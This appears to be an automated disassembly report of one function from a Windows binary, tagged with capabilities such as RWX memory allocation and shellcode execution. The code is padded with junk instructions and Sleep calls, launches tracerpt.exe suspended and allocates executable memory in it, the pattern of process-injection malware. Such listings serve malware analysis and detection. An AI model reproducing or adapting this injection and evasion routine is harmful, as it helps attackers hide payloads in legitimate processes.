Function at 0x407fe4
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get common file path
Get file attributes

Disassembly:
push 0x428
mov eax, 0x419bdf
call fcn.0040c3e1
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x430], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x428], eax
inc eax
dec ebx
dec eax
inc ebx
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1e
pop edi
push edi
call esi
and dword [ebp - 0x424], 0
push 0x40
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.0040cf80
add esp, 0xc
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
and dword [ebp - 0x3e0], 0
push 0x2c8
lea eax, [ebp - 0x3dc]
push 0
push eax
call fcn.0040cf80
add esp, 0xc
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x44
lea eax, [ebp - 0x424]
push 0
push eax
call fcn.0040cf80
add esp, 0xc
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
mov edi, dword [ebp - 0x428]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
inc eax
dec ebx
dec eax
inc ebx
push 0x1e
pop edi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2cc
lea eax, [ebp - 0x3e0]
push 0
push eax
call fcn.0040cf80
add esp, 0xc
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
mov dword [ebp - 0x424], 0x44
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
mov dword [ebp - 0x3f8], 1
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
xor eax, eax
mov word [ebp - 0x3f4], ax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0xfe
lea eax, [ebp - 0x113]
push 0
push eax
mov byte [ebp - 0x114], 0
call fcn.0040cf80
add esp, 0xc
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0xff
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push edi
call esi
push edi
call esi
push edi
mov byte [ebp - 0x111], 0
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push str.WindowsSysWOW64_tracerpt.exe
lea eax, [ebp - 0x114]
push eax
push str._s_s
push eax
call fcn.00407fa9
add esp, 0x10
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4085d2
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
push edi
mov byte [ebp - 0x111], 0
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push str.WindowsSystem32_tracerpt.exe
lea eax, [ebp - 0x114]
push eax
push str._s_s
push eax
call fcn.00407fa9
add esp, 0x10
push edi
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push dword [ebp - 0x428]
lea eax, [ebp - 0x424]
push eax
xor eax, eax
push eax
push eax
push 4
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push edi
mov dword [ebp - 0x42c], eax
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
cmp dword [ebp - 0x42c], 0
jne 0x40869c
xor eax, eax
jmp 0x408c1a
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
mov eax, dword [ebp - 0x428]
push 0x40
push 0x3000
push dword [ebp - 0x430]
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push edi
mov dword [ebp - 0x430], eax
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
cmp dword [ebp - 0x430], 0
je 0x408695
push edi
call esi
push edi
call esi
push edi
call esi
and dword [ebp - 4], 0
push edi
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
push 0x41cae0
lea eax, [ebp - 0x434]
push eax
mov dword [ebp - 0x434], 0x12
call fcn.0040c43d
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1e
pop edi
push edi
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push edi
call esi
push edi
call esi
mov eax, 0x408888
ret
call fcn.0040c42e
ret